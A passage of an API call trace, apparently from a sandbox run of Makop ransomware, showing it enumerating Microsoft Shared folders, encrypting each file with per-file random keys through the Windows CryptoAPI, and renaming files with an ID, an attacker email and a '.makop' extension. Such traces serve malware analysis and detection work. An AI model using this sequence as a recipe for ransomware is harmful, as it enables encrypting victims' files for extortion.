lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0094.543] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.543] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.543] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.543] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.543] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.543] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.544] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.544] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.544] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x482ef, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x482ef, lpOverlapped=0x0) returned 1 [0094.615] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x482f0, dwBufLen=0x482f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x482f0) returned 1 [0094.618] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.618] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x482f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x482f0, lpOverlapped=0x0) returned 1 [0094.620] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.620] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x483c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.621] SetEndOfFile (hFile=0xf0) returned 1 [0094.674] GetProcessHeap () returned 0x48a0000 [0094.674] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.674] GetProcessHeap () returned 0x48a0000 [0094.674] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.674] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0094.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.675] CloseHandle (hObject=0xf0) returned 1 [0094.676] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0094.676] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0094.676] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0094.676] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag") returned 56 [0094.676] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*") returned 60 [0094.677] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0094.681] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.681] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0094.681] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033") returned 61 [0094.681] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*") returned 65 [0094.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0094.683] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.683] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0094.683] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0094.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0094.684] GetProcessHeap () returned 0x48a0000 [0094.684] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.684] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.684] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0094.684] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0094.688] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0094.688] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.688] GetProcessHeap () returned 0x48a0000 [0094.688] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.688] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0094.688] CryptDestroyKey (hKey=0x48c7168) returned 1 [0094.689] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0094.689] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0094.689] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0094.690] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0094.690] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0094.690] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0094.690] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0094.690] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.690] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.690] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2cc7, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2cc7, lpOverlapped=0x0) returned 1 [0094.692] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2cd0, dwBufLen=0x2cd0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2cd0) returned 1 [0094.692] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.692] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2cd0, lpOverlapped=0x0) returned 1 [0094.692] CryptDestroyKey (hKey=0x48c7168) returned 1 [0094.692] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.693] SetEndOfFile (hFile=0x138) returned 1 [0094.700] GetProcessHeap () returned 0x48a0000 [0094.700] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.700] GetProcessHeap () returned 0x48a0000 [0094.700] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.700] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0094.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.701] CloseHandle (hObject=0x138) returned 1 [0094.702] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0094.702] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0094.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0094.704] GetProcessHeap () returned 0x48a0000 [0094.704] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.704] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.704] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0094.704] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0094.704] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.705] GetProcessHeap () returned 0x48a0000 [0094.705] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0094.705] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0094.705] CryptDestroyKey (hKey=0x48c7168) returned 1 [0094.705] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0094.712] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0094.712] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0094.712] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0094.713] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0094.713] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0094.713] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0094.713] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.713] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.713] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4380, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4380, lpOverlapped=0x0) returned 1 [0094.715] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4380, dwBufLen=0x4380 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4380) returned 1 [0094.715] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.715] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4380, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4380, lpOverlapped=0x0) returned 1 [0094.715] CryptDestroyKey (hKey=0x48c7168) returned 1 [0094.715] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.716] SetEndOfFile (hFile=0x138) returned 1 [0094.723] GetProcessHeap () returned 0x48a0000 [0094.723] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0094.723] GetProcessHeap () returned 0x48a0000 [0094.723] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.723] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0094.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.728] CloseHandle (hObject=0x138) returned 1 [0094.728] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0094.728] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0094.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0094.730] GetProcessHeap () returned 0x48a0000 [0094.730] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.730] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.730] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0094.730] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0094.730] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.730] GetProcessHeap () returned 0x48a0000 [0094.731] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.731] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0094.731] CryptDestroyKey (hKey=0x48c7168) returned 1 [0094.731] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0094.735] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0094.735] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0094.735] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0094.735] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0094.735] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0094.736] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0094.736] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.736] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.736] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3580, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x3580, lpOverlapped=0x0) 